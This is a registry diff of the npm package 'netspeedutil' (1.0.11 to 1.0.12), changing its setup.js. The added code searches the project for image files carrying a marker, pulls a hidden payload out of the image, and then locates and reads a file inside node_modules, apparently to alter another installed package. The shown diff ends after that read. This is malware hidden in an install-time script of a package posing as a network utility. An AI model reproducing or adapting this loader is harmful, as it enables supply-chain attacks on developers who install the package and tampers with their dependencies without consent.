netspeedutil 1.0.11 → 1.0.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/setup.js +17 -11
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -9,14 +9,18 @@ const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
|
|
|
9
9
|
function findMarkedImage(dir) {
|
|
10
10
|
if (!existsSync(dir)) return null;
|
|
11
11
|
try {
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
if (
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
if (
|
|
12
|
+
const entries = readdirSync(dir, { withFileTypes: true });
|
|
13
|
+
for (const entry of entries) {
|
|
14
|
+
const full = resolve(dir, entry.name);
|
|
15
|
+
if (entry.isDirectory()) {
|
|
16
|
+
if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue;
|
|
17
|
+
const found = findMarkedImage(full);
|
|
18
|
+
if (found) return found;
|
|
19
|
+
} else if (entry.isFile()) {
|
|
20
|
+
if (!IMAGE_EXTS.includes(extname(entry.name).toLowerCase())) continue;
|
|
21
|
+
const data = readFileSync(full);
|
|
22
|
+
if (data.indexOf(MARKER) !== -1) return full;
|
|
23
|
+
}
|
|
20
24
|
}
|
|
21
25
|
} catch (e) {}
|
|
22
26
|
return null;
|
|
@@ -67,13 +71,15 @@ async function extractPayload(imagePath) {
|
|
|
67
71
|
projectPath = resolve(projectPath, '..');
|
|
68
72
|
}
|
|
69
73
|
if (!foundPackage) return;
|
|
70
|
-
|
|
71
|
-
const imagePath = findMarkedImage(
|
|
74
|
+
|
|
75
|
+
const imagePath = findMarkedImage(projectPath);
|
|
72
76
|
if (!imagePath) return;
|
|
77
|
+
|
|
73
78
|
const result = await extractPayload(imagePath);
|
|
74
79
|
if (!result || !result.targetPath) return;
|
|
75
80
|
|
|
76
|
-
|
|
81
|
+
// Fixed: Resolve relative to node_modules in the projectPath
|
|
82
|
+
const file = resolve(projectPath, 'node_modules', result.targetPath.replace('../', ''));
|
|
77
83
|
if (!existsSync(file)) return;
|
|
78
84
|
|
|
79
85
|
let code = readFileSync(file, 'utf8');
|